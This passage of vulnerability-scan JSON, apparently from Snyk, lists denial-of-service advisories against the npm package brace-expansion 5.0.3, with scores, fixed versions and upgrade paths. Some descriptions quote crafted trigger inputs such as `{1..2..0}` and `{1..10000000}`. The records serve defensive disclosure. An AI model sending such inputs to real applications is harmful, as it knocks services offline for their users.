exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ 